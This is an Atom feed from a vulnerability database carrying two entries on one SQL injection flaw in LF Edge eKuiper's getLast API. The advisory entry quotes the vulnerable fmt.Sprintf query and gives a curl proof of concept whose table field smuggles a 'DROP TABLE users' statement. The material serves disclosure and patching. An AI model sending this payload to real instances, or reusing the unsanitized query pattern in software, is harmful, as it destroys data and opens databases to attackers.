<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-03T21:07:57.304754+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2025-54379</id>
    <title>CVE-2025-54379 — eKuiper API endpoints handling SQL queries with user-controlled table names.</title>
    <updated>2026-10-03T21:07:57.306581+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> lf-edge ekuiper</p>
<p>LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. In versions before 2.2.1, there is a critical SQL Injection vulnerability in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise. This is fixed in version 2.2.1.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2025-54379"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-526j-mv3p-f4vv</id>
    <title>GHSA-526j-mv3p-f4vv — eKuiper API endpoints handling SQL queries with user-controlled table names.</title>
    <updated>2026-10-03T21:07:57.306639+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/lf-edge/ekuiper/v2, Go: github.com/lf-edge/ekuiper</p>
<p>### Summary
A critical SQL Injection vulnerability exists in the `getLast` API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.</p>
<p>### Details
The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using `fmt.Sprintf`, without validating the `table` parameter. Specifically, in:</p>
<p>```go
query := fmt.Sprintf("SELECT * FROM %s ORDER BY rowid DESC LIMIT 1", table)
```
Any value passed as the `table` parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.</p>
<p>### PoC
1. **Deploy eKuiper instance** (default config is sufficient).
2. **Send a crafted request to the SQL query endpoint**:
```bash
   curl -X POST http://localhost:9081/sql-query \
     -H "Content-Type: application/json" \
     -d '{
       "table": "sensors; DROP TABLE users; --",
       "operation": "getLast"
     }'
```
3. **Effect**: Executes two SQL queries — the first selects data, the second drops the `users` table.
4. **Verify Result**:
```bash
   sqlite3 etc/kuiper/data/kuiper.db ".tables"
```</p>
<p>### Impact
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</p>
<p>### Refferences
- https:/…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-526j-mv3p-f4vv"/>
  </entry>
</feed>
